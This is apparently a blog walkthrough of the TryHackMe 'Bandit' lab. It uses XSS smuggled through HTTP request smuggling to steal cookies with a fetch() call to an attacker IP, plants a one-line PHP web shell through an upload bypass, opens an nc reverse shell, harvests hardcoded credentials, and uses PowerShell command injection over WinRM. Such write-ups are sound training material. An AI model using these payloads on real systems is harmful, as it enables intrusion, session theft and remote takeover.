Post

THM - Bandit

Bandit - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



THM - Bandit

  • Register to start:

image1

Entry point: 10.200.114.104

image2

image3

  • NMAP the linux host:
1
2
nmap 10.200.114.104 -A

image4

  • NMAP the windows host:
1
2
nmap 10.200.114.10 -p- -A -Pn

image5

Add bandit.escape to /etc/hosts

  • Port 80:

image6

  • Directory bruteforce:
1
2
ffuf -u http://bandit.escape/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fw 428

image7

  • Since we know there’s a login.php, we can bruteforce for php extensions as well
1
2
ffuf -u http://bandit.escape/FUZZ.php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fw 428

image8

  • This page is also vulnerable to XSS
1
2
"<script><script>alert('XSS');</script>

image9

  • Let’s try and get a cookie with this one:
1
2
"<script><script>alert(document.cookie)</script>

  • Just got my own cookie again:

image10

  • Looking at the NMAP scan - this server is using Apache Traffic Server 7.1.1

  • Looking online - there is a HTTP request smuggling exploit for this version CVE-2018-8004

HTTP request smuggling

  • This website shows how to exploit it (4.3.1 First Patch):

https://medium.com/@knownsec404team/protocol-layer-attack-http-request-smuggling-cc654535b6f#:~:text=4.%20HTTP%20Smuggling%20Attack%20Example%20%E2%80%94%20%E2%80%94%20CVE%2D2018%E2%80%938004

  • Firstly, turn on - Show printable characters:

image11

  • As per the website - We need to construct a special HTTP request for smuggling:

image12

  • Now add something into the second request, to test if it’s vulnerable:

image13

  • The /?filter= bit is unique to this THM room/ webserver parameter (since it’s vulnerable to XSS)

  • The first GET request will be executed as normal but the second request will be smuggled

  • The goal is to manipulate the front-end server (e.g., a proxy) into interpreting the request in a way that passes the XSS payload to the back-end server (e.g., Apache Tomcat), where it might be executed

  • If successful, the XSS payload could be stored in the server’s response and later executed when served to other users, leading to XSS attacks against unsuspecting clients

  • Make sure Update content-length is ON:

image14

  • If there isn’t a Content-Length parameter - just send the newly crafted HTTP request and the Content-Length will update automatically

  • After the HTTP request has been sent (with the Update content-length on) - Turn OFF Update Content-Length:

image15

  • This is the vulnerability - Create a whitespace between Content-Length and the colon : like so:

image16

  • Now click Send - A couple of times (3 or 4 times):

image17

  • Looking at the Response body, we can see our payload made it in

  • Now craft the real payload to grab a cookie:

  • Go through the process again (from point 4.)

  • Use the payload (and URL encode it first):

1
2
"<script><script>fetch("http://10.50.111.248:8082//"+document.cookie)</script>

image18

  • Set up a python server on that port

  • Send the payload (click send a couple times):

image19

  • Wait for a few minutes - “until someone accesses the site”
  • We got someone else’s cookie

  • The reason this works and the XSS didn’t:
    • XSS is primarily a client-side vulnerability that involves injecting malicious scripts into web pages
    • Sending an XSS payload with HTTP request smuggling can deliver and potentially execute XSS payloads on the server side, which can then affect other clients accessing the server’s responses

Continuing

  • In Chrome, inspect the page and go to Storage - add the new cookie in:

image20

  • This didn’t change anything on the screen (no admin panel or anything)

  • Look at the previously inaccessible directories and try them to see if we have rights to access any now:

image21

  • We can access /upload.php

  • I tried to upload something but got the error:

image22

  • So I tried to upload the smallest file (140bytes) but still got the same error

  • Looking at the page source - there is a js file that states how big the file can be:

image23

image24

  • But my file is less than 500KB

  • Open the /upload.php in Burp and send to repeater
  • Make sure to change the cookie value:

image25

  • Now change the text to something smaller

image26

  • The image uploaded successfully

  • But navigating to:

http://bandit.escape/uploads/shell2.php.png

  • We just see the files, saved as a .png image and the rest has been hashed into a filename

image27

  • Using hash-identifier we see that it’s a MD5 hash:

image28

  • Using Cyberchef - input the filename in and choose MD5 hash:

image29

image30

  • So we can see that the entire filename gets hashed

  • Since the Content-Type already says image/png

image31

  • Give a new filename with a .php extension and see if it works

  • Also add some php code - the shortest php exploit code available:

1
2
<?=`$_GET[0]`?>

image32

image33

  • Go to cyberchef again and MD5 hash that filename

image34

image35

  • Now to access the file we need to go to:
    http://bandit.escape/uploads/d97f005810ddf0a6af6468712f082ca3.php?0=id

image36

  • This is because file got saved but it wasn’t a .png so no extension got added. So we need to add .php again
  • We also need to add the query parameter ?0=whatever we want ,ie. id, hostname, cat /etc/passwd

  • The way the payload <?=`$_GET[0]`?> works is:
    • ?0=id is being passed as a query parameter in the URL
    • In the PHP code <?= $_GET[0] ?>, the $_GET[0] portion retrieves the value associated with the key 0 from the $_GET superglobal array
    • Because of how PHP handles query parameters, when you pass ?0=id, PHP interprets 0 as a key in the $_GET array and id as its corresponding value
    • So, when you pass ?0=id, the PHP code <?= $_GET[0] ?> fetches the value associated with the key 0 from the $_GET array, which is id

image37

image38

  • Now we can inject a reverse shell into the query parameter (just choose the right one) and URL encode it:
1
2
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.50.111.248 4445 >/tmp/f

  • Set up nc listener:
1
2
rlwrap -cAr nc -lvnp 4445

  • Paste it into the query parameter:

image39

  • And shell:

image40

  • The machine doesn’t have anything to exploit like SUID or sudo

  • But the shell drops us in the /app directory - the only directory that has anything in

  • We can now see the auth.php file in /app/public/auth.php

image41

  • And we get the credentials: safeadmin : HardcodedMeansUnguessableRight

  • Now we can SSH into the machine

image42

1
2
cat flag.txt

  • We have all the power:

image43

  • Since we can do anything:

image44

  • Looking at /etc/hosts

image45

  • We get an entry for the windows machine: 10.200.114.10 bandit.corp

  • The Windows ports:

image46

  • Port 5985 is open - which is the Powershell remoting port WSMan - Windows Remote Management

  • Recursively try and find anything Windows related:

1
2
3
4
grep --color=auto -irnw / -e "powershell" 2>/dev/null

grep --color=auto -irnw / -e "pssession" 2>/dev/null

  • Found a ConsoleHost_history.txt file:

image47

image48

safeuserHelpDesk : Passw0rd

  • Run:
1
pwsh
1
2
3
4
5
6
7
8
9
$ClearPassword = "Passw0rd"
$SecurePass = ConvertTo-SecureString $ClearPassword -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential("safeuserHelpDesk", $SecurePass)

Enter-PSSession -ComputerName bandit.corp `
    -Credential $credential `
    -ConfigurationName testHelpDesksafe `
    -Authentication Negotiate

image49

image50

image51

Bypass powershell constrained language mode:

  • See what commands we have:
1
2
Get-Command

image52

  • Looks like a custom cmdlet

image53

image54

  • We can use Invoke-Expression through this command

Powershell command injection:

  • Trying different combinations

image55

  • We can parse the single quote but not the double quote

  • Running whoami:

1
2
Get-ServicesApplication -Filter '$(whoami)'

winrm virtual users\winrm va_2_ec2amaz-a6s61fr_safeuserhelpdesk

  • Find users:
1
2
Get-ServicesApplication -Filter '$(dir C:\Users)'

image56

  • Look on Administrators Desktop:
1
2
Get-ServicesApplication -Filter '$(dir C:\Users\Administrator\Desktop)'

image57

  • Read root.txt
1
2
Get-ServicesApplication -Filter '$(type C:\Users\Administrator\Desktop\root.txt)'

image58

This post is licensed under CC BY 4.0 by the author.